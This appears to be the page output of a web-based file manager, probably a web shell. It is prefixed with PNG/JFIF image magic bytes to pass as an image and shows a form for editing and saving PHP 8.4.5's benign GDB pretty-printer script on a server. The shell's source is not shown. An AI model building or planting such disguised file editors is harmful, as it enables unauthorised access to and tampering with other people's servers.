�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fscripts%2F'>scripts</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fscripts%2Fgdb%2F'>gdb</a>/</p><hr><h3>✏️ Editing: php_gdb.py</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>
&quot;&quot;&quot;GDB support for PHP types

This is auto-loaded by GDB if Python Auto-loading is enabled (the default), and
the PHP binary is in the auto load safe path:

    # ~/.config/gdb/gdbinit (not ~/.gdbinit)
    add-auto-load-safe-path /path/to/php-src

See https://sourceware.org/gdb/current/onlinedocs/gdb.html/Python-Auto_002dloading.html
See https://sourceware.org/gdb/current/onlinedocs/gdb.html/Auto_002dloading-safe-path.html#Auto_002dloading-safe-path

If needed, pretty printers can be by-passed by using the /r flag:
  (gdb) p /r any_variable

Use |set print pretty| to enable multi-line printing and indentation:
  (gdb) set print pretty on

Use |set print max-depth| to control the maximum print depth for nested
structures:
  (gdb) set print pretty on

To interactively type Python for development of the printers, use
  (gdb) python foo = gdb.parse_and_eval(&#039;bar&#039;)
to put the C value &#039;bar&#039; in the current scope into a Python variable &#039;foo&#039;.
Then you can interact with that variable:
  (gdb) python print foo[&#039;impl_&#039;]
&quot;&quot;&quot;

import gdb
import re

pp_set = gdb.printing.RegexpCollectionPrettyPrinter(&quot;php&quot;)

class ZendStringPrettyPrinter(gdb.printing.PrettyPrinter):
    &quot;Print a zend_string&quot;

    def __init__(self, val):
        self.val = val

    def to_string(self):
        return self.format_string()

    def children(self):
        for field in self.val.type.fields():
            if field.name == &#039;val&#039;:
                yield (&#039;val&#039;, self.format_string())
            else:
                yield (field.name, self.val[field.name])

    def format_string(self):
        len = int(self.val[&#039;len&#039;])
        truncated = False
        if len &gt; 50:
            len = 50
            truncated = True

        ptr_type = gdb.lookup_type(&#039;char&#039;).pointer()
        ary_type = gdb.lookup_type(&#039;char&#039;).array(len)
        str = self.val[&#039;val&#039;].cast(ptr_type).dereference().cast(ary_type)
        str = str.format_string()
        if truncated:
            str += &#039; (%d bytes total)&#039; % int(self.val[&#039;len&#039;])

        return str


pp_set.add_printer(&#039;zend_string&#039;, &#039;^_zend_string$&#039;, ZendStringPrettyPrinter)

class ZendTypePrettyPrinter(gdb.printing.PrettyPrinter):
    &quot;Print a zend_type&quot;

    def __init__(self, val):
        self.val = val
        load_type_bits()

    def to_string(self):
        return self.format_type(self.val)

    def children(self):
        for field in self.val.type.fields():
            yield (field.name, self.val[field.name])

    def format_type(self, t):
        type_mask = int(t[&#039;type_mask&#039;])
        type_mask_size = t[&#039;type_mask&#039;].type.sizeof * 8
        separator = &#039;|&#039;
        parts = []
        meta = []
        for bit in range(0, type_mask_size):
            if type_mask &amp; (1 &lt;&lt; bit):
                type_name = type_bit_to_name.get(bit)
                match type_name:
                    case None:
                        parts.append(&#039;(1&lt;&lt;%d)&#039; % bit)
                    case &#039;list&#039;:
                        list = t[&#039;ptr&#039;].cast(gdb.lookup_type(&#039;zend_type_list&#039;).pointer())
                        num_types = int(list[&#039;num_types&#039;])
                        types = list[&#039;types&#039;].dereference().cast(gdb.lookup_type(&#039;zend_type&#039;).array(num_types))
                        for i in range(0, num_types):
                            str = self.format_type(types[i])
                            if any((c in set(&#039;|&amp;()&#039;)) for c in str):
                                str = &#039;(%s)&#039; % str
                            parts.append(str)
                    case &#039;union&#039; | &#039;arena&#039;:
                        meta.append(type_name)
                    case &#039;intersection&#039;:
                        meta.append(type_name)
                        separator = &#039;&amp;&#039;
                    case &#039;name&#039;:
                        str = t[&#039;ptr&#039;].cast(gdb.lookup_type(&#039;zend_string&#039;).pointer())
                        parts.append(ZendStringPrettyPrinter(str).to_string())
                    case _:
                        parts.append(type_name)

        str = separator.join(parts)

        if len(meta) &gt; 0:
            str = &#039;[%s] %s&#039; % (&#039;,&#039;.join(meta), str)

        return str


pp_set.add_printer(&#039;zend_type&#039;, &#039;^zend_type$&#039;, ZendTypePrettyPrinter)

class ZendAstKindPrettyPrinter(gdb.printing.PrettyPrinter):
    &quot;Print a zend_ast_kind&quot;

    def __init__(self, val):
        self.val = val

    def to_string(self):
        return self.val.cast(gdb.lookup_type(&#039;enum _zend_ast_kind&#039;))


pp_set.add_printer(&#039;zend_ast_kind&#039;, &#039;^zend_ast_kind$&#039;, ZendAstKindPrettyPrinter)

class ZendAstPrettyPrinter(gdb.printing.PrettyPrinter):
    &quot;Print a zend_ast&quot;

    def __init__(self, val):
        self.val = val

    def to_string(self):
        return &#039;((%s*)0x%x)&#039; % (str(self.cast().type), self.val.address)

    def children(self):
        val = self.cast()
        for field in val.type.fields():
            if field.name == &#039;child&#039;:
                children = val[field.name]
                num_children = self.num_children()

                ptr_type = gdb.lookup_type(&#039;zend_ast&#039;).pointer().pointer()
                children = children.cast(ptr_type)

                for i in range(0, num_children):
                    c = children[i]
                    if int(c) != 0:
                        c = c.dereference()
                    yield (&#039;child[%d]&#039; % i, c)
            elif field.name == &#039;name&#039;:
                yield (field.name, ZendStringPrettyPrinter(val[field.name].dereference()).to_string())
            elif field.name == &#039;val&#039;:
                yield (field.name, ZvalPrettyPrinter(val[field.name]).to_string())
            else:
                yield (field.name, val[field.name])

    def is_special(self):
        special_shift = 6 # ZEND_AST_SPECIAL_SHIFT
        kind = self.val[&#039;kind&#039;]
        return (kind &gt;&gt; special_shift) &amp; 1

    def is_decl(self):
        return self.is_special() and int(self.val[&#039;kind&#039;]) &gt;= enum_value(&#039;ZEND_AST_FUNC_DECL&#039;)

    def is_list(self):
        list_shift = 7 # ZEND_AST_IS_LIST_SHIFT
        kind = self.val[&#039;kind&#039;]
        return (kind &gt;&gt; list_shift) &amp; 1

    def cast(self):
        kind = int(self.val[&#039;kind&#039;])

        if kind == enum_value(&#039;ZEND_AST_ZVAL&#039;) or kind == enum_value(&#039;ZEND_AST_CONSTANT&#039;):
            return self.val.cast(gdb.lookup_type(&#039;zend_ast_zval&#039;))
        if kind == enum_value(&#039;ZEND_AST_ZNODE&#039;):
            return self.val.cast(gdb.lookup_type(&#039;zend_ast_znode&#039;))
        if self.is_decl():
            return self.val.cast(gdb.lookup_type(&#039;zend_ast_decl&#039;))
        if self.is_list():
            return self.val.cast(gdb.lookup_type(&#039;zend_ast_list&#039;))

        return self.val

    def num_children(self):
        if self.is_decl():
            decl_type = gdb.lookup_type(&#039;zend_ast_decl&#039;)
            child_type = decl_type[&#039;child&#039;].type
            return array_size(child_type)
        if self.is_special():
            return 0
        elif self.is_list():
            return int(self.cast()[&#039;children&#039;])
        else:
            num_children_shift = 8 # ZEND_AST_NUM_CHILDREN_SHIFT
            kind = self.val[&#039;kind&#039;]
            return kind &gt;&gt; num_children_shift


pp_set.add_printer(&#039;zend_ast&#039;, &#039;^_zend_ast$&#039;, ZendAstPrettyPrinter)

class ZvalPrettyPrinter(gdb.printing.PrettyPrinter):
    &quot;Print a zval&quot;

    def __init__(self, val):
        self.val = val
        load_type_bits()

    def to_string(self):
        return self.value_to_string()

    def value_to_string(self):
        t = int(self.val[&#039;u1&#039;][&#039;v&#039;][&#039;type&#039;])
        if t == type_name_to_bit[&#039;undef&#039;]:
            return &#039;undef&#039;
        elif t == type_name_to_bit[&#039;null&#039;]:
            return &#039;null&#039;
        elif t == type_name_to_bit[&#039;false&#039;]:
            return &#039;false&#039;
        elif t == type_name_to_bit[&#039;true&#039;]:
            return &#039;true&#039;
        elif t == type_name_to_bit[&#039;long&#039;]:
            return str(self.val[&#039;value&#039;][&#039;lval&#039;])
        elif t == type_name_to_bit[&#039;double&#039;]:
            return str(self.val[&#039;value&#039;][&#039;dval&#039;])
        elif t == type_name_to_bit[&#039;string&#039;]:
            return ZendStringPrettyPrinter(self.val[&#039;value&#039;][&#039;str&#039;].dereference()).to_string()
        elif t == type_name_to_bit[&#039;array&#039;]:
            return &#039;array&#039;
        elif t == type_name_to_bit[&#039;object&#039;]:
            return &#039;object(%s)&#039; % ZendStringPrettyPrinter(self.val[&#039;value&#039;][&#039;obj&#039;][&#039;ce&#039;][&#039;name&#039;].dereference()).to_string()
        elif t == type_name_to_bit[&#039;resource&#039;]:
            return &#039;resource&#039;
        elif t == type_name_to_bit[&#039;reference&#039;]:
            return &#039;reference&#039;
        elif t == type_name_to_bit[&#039;constant_ast&#039;]:
            return &#039;constant_ast&#039;
        else:
            return &#039;zval of type %d&#039; % int(self.val[&#039;u1&#039;][&#039;v&#039;][&#039;type&#039;])

    def children(self):
        for field in self.val.type.fields():
            if field.name == &#039;value&#039;:
                value = self.val[&#039;value&#039;]
                t = int(self.val[&#039;u1&#039;][&#039;v&#039;][&#039;type&#039;])
                if t == type_name_to_bit[&#039;undef&#039;]:
                    value = value[&#039;lval&#039;]
                elif t == type_name_to_bit[&#039;null&#039;]:
                    value = value[&#039;lval&#039;]
                elif t == type_name_to_bit[&#039;false&#039;]:
                    value = value[&#039;lval&#039;]
                elif t == type_name_to_bit[&#039;true&#039;]:
                    value = value[&#039;lval&#039;]
                elif t == type_name_to_bit[&#039;long&#039;]:
                    value = value[&#039;lval&#039;]
                elif t == type_name_to_bit[&#039;double&#039;]:
                    value = value[&#039;dval&#039;]
                elif t == type_name_to_bit[&#039;string&#039;]:
                    value = value[&#039;str&#039;].dereference()
                elif t == type_name_to_bit[&#039;array&#039;]:
                    value = value[&#039;ht&#039;].dereference()
                elif t == type_name_to_bit[&#039;object&#039;]:
                    value = value[&#039;obj&#039;].dereference()
                elif t == type_name_to_bit[&#039;resource&#039;]:
                    value = value[&#039;res&#039;].dereference()
                elif t == type_name_to_bit[&#039;reference&#039;]:
                    value = value[&#039;ref&#039;].dereference()
                elif t == type_name_to_bit[&#039;constant_ast&#039;]:
                    value = value[&#039;ast&#039;].dereference()
                else:
                    value = value[&#039;ptr&#039;]
                yield (field.name, value)
            elif field.name == &#039;u2&#039;:
                yield (&#039;u2&#039;, self.val[field.name][&#039;extra&#039;])
            else:
                yield (field.name, self.val[field.name])


pp_set.add_printer(&#039;zval&#039;, &#039;^_zval_struct$&#039;, ZvalPrettyPrinter)

type_bit_to_name = None
type_name_to_bit = None

def load_type_bits():
    global type_bit_to_name
    global type_name_to_bit

    if type_bit_to_name != None:
        return

    (symbol,_) = gdb.lookup_symbol(&quot;zend_gc_refcount&quot;)
    if symbol == None:
        raise Exception(&quot;Could not find zend_types.h: symbol zend_gc_refcount not found&quot;)
    filename = symbol.symtab.fullname()

    bits = {}

    with open(filename, &#039;r&#039;) as file:
        content = file.read()

        pattern = re.compile(r&#039;#define _ZEND_TYPE_([^\s]+)_BIT\s+\(1u &lt;&lt; (\d+)\)&#039;)
        matches = pattern.findall(content)
        for name, bit in matches:
            bits[int(bit)] = name.lower()

        pattern = re.compile(r&#039;#define IS_([^\s]+)\s+(\d+)&#039;)
        matches = pattern.findall(content)
        for name, bit in matches:
            if not int(bit) in bits:
                bits[int(bit)] = name.lower()

    types = {}
    for bit in bits:
        types[bits[bit]] = bit

    type_bit_to_name = bits
    type_name_to_bit = types

def lookup_symbol(name):
    (symbol, _) = gdb.lookup_symbol(name)
    if symbol == None:
        raise Exception(&quot;Could not lookup symbol %s&quot; % name)
    return symbol

def enum_value(name):
    symbol = lookup_symbol(name)
    return int(symbol.value())

def array_size(ary_type):
    # array types have a single field whose type represents its range
    return ary_type.fields()[0].type.range()[1]+1

gdb.printing.register_pretty_printer(gdb, pp_set, replace=True)
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fscripts%2Fgdb'>🔙 Back</a></p>